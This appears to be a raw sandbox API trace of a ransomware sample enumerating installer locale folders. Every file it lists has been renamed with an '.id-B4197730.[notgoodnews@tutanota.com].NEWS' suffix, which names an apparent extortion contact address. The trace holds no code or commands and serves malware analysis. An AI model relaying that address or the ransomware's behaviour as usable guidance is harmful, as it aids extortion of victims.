FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484298 [0157.311] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.311] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38f30272, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38f30272, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f3b485, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.311] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38f618c4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.311] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39341501, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39341501, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39341501, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.311] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39341501, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39341501, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39341501, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.311] FindClose (in: hFindFile=0x484298 | out: hFindFile=0x484298) returned 1 [0157.312] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.312] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3947278f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3947278f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0157.312] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.312] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3947278f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3947278f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484318 [0157.314] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3947278f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3947278f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.314] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38f618c4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3957d995, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.314] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3953138c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3953138c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3953138c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.315] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396aeaf2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396aeaf2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396aeaf2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.315] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396aeaf2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396aeaf2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396aeaf2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.315] FindClose (in: hFindFile=0x484318 | out: hFindFile=0x484318) returned 1 [0157.316] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.316] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ffa0ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0157.316] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.316] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ffa0ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484298 [0157.318] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ffa0ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.318] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38fadd16, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38fadd16, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38fadd16, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.318] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38fd3dd3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38fd3dd3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38fd3dd3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.319] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396d4d60, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396d4d60, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396d4d60, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.319] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396d4d60, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396d4d60, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396d4d60, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.319] FindClose (in: hFindFile=0x484298 | out: hFindFile=0x484298) returned 1 [0157.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.319] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39282962, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39282962, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0157.320] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.320] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39282962, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39282962, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.494] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39282962, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39282962, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.494] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38ffa0ff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ffa0ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.494] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38ffa0ff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39282962, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.494] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396d4d60, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396d4d60, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396d4d60, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.494] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396d4d60, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396d4d60, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396d4d60, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.494] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.495] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.495] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x391e9ef8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0157.495] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.495] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x391e9ef8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.496] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x391e9ef8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.496] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x391c3e95, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x391c3e95, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.496] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x391e9ef8, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x391e9ef8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.496] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a1c210, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a1c210, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a1c210, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.496] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a1c210, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a1c210, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a1c210, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.496] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.497] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.497] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x392ced5f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392ced5f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0157.497] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.497] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x392ced5f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392ced5f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.498] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x392ced5f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392ced5f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.498] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x392a8bcf, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x392a8bcf, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392a8bcf, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.498] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x392a8bcf, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x392a8bcf, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392ced5f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.498] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39805f41, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39805f41, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3982c17b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.498] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39805f41, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39805f41, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3982c17b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.498] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.499] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.499] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39498ad6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39498ad6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0157.499] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.499] FindFirstFileW (in: 